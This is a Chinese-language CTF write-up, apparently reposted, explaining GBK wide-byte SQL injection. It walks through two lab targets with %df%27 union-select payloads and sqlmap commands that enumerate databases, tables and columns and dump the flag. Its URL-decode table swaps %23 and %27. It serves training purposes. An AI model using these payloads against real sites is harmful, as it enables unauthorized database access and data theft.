CTF—WEB—sql注入之寬字節注入


 寬字節注入

寬字節注入是利用mysql的一個特性,mysql在使用GBK編碼(GBK就是常說的寬字節之一,實際上只有兩字節)的時候,會認為兩個字符是一個漢字(前一個ascii碼要大於128,才到漢字的范圍),而當我們輸入有單引號時會自動加入\進行轉義而變為\’(在PHP配置文件中magic_quotes_gpc=On的情況下或者使用addslashes函數,icov函數,mysql_real_escape_string函數、mysql_escape_string函數等,提交的參數中如果帶有單引號,就會被自動轉義\’,使得多數注入攻擊無效),由於寬字節帶來的安全問題主要是吃ASCII字符(一字節)的現象,將后面的一個字節與前一個大於128ascii碼進行組合成為一個完整的字符(mysql判斷一個字符是不是漢字,首先兩個字符時一個漢字,另外根據gbk編碼,第一個字節ascii碼大於128,基本上就可以了),此時前的\就被吃了,我們就可以使用了,利用這個特性從而可實施SQL注入的利用。

  GBK 占用兩字節

  ASCII占用一字節

  PHP中編碼為GBK,函數執行添加的是ASCII編碼,MYSQL默認字符集是GBK等寬字節字符集。

  輸入%df和函數執行添加的%5C,被合並成%df%5C。由於GBK是兩字節,這個%df%5CMYSQL識別為GBK。導致本應的%df\變成%df%5C%df%5CGBK編碼中沒有對應,所以被當成無效字符。

  %DF’ :會被PHP當中的addslashes函數轉義為%DF\'” \URL里的%5C,那么也就是說,%DF'會被轉成%DF%5C%27倘若網站的字符集是GBKMYSQL使用的編碼也是GBK的話,就會認為%DF%5C%27是一個寬字符。也就是

例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=

其對應的sql就是:

select * fromcms_user where username = ‘’ or 1=1 limit 1,1#’ and password=”

URLdecode解碼

%23: ’

%27: #

 

例題:

靶機:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

 

 

先嘗試單引號?id=1’  ?id=1%27,發現頁面輸出的

 引號被轉義了,在前面加了一個 \ 符號

嘗試 如果構造 \ \ 那么后面的引號也就可以發揮作用了

 

構造:?id=1%df%27

報錯

 

再構造:?id=1%df%df%23

查詢又恢復正常了,因為%df%df 雙字節構成了一個漢字,而%df%23又不成漢字所以得知此題存在寬字節注入

 

開始爆數據庫:

?id=1%df%27 order by 2#  

列數得知 2列。

爆庫:

?id=-1%df%27 union select 1,database()%23

數據庫:sae-chinalover

 

爆列表:

?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23

 爆出這些表:

ctf,ctf2,ctf3,ctf4,gbksqli,news

 

爆字段:

?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

字段:id flag

 

查詢關鍵字:

?id=-1%df%27 union select 1,flag from ctf4%23

 

利用Sqlmap

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"  --dbs

跑出庫

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  --columns

跑字段:

 sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  -C flag --dump

跑出flag

 

例2:

 

靶機:安全實驗室注入關3

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php、

 

輸入payload

?id=1%df%27 報錯 

?id=1%df%df%23 頁面正常,存在寬字節注入

 

爆列數

?id=1%df%27 order by 3%23

?id=1%df%27 order by 4%23

發現只有三列:

 

爆數據庫名:

?id=1%df%27 union select 1,2,database()%23

庫名:mydbs

 

爆表名:

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23

發現報錯。。。可能有過濾

那么把mydbs轉成16進制:0x6d79646273 (..字符轉16進制即可,要轉對,有個網址16進制換是轉錯的。。浪費我好多時間)

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23

 

得出表名:sae_user_sqli4

爆字段:

sae_user_sqli4 ->7361655f757365725f73716c6934

 

?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23

 

得出三個字段:id,title_1,content_1

爆關鍵字:

?id=1%df%27 union select 1,group_concat(id),group_concat(content_1)  from sae_user_sqli4%23

 

得到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM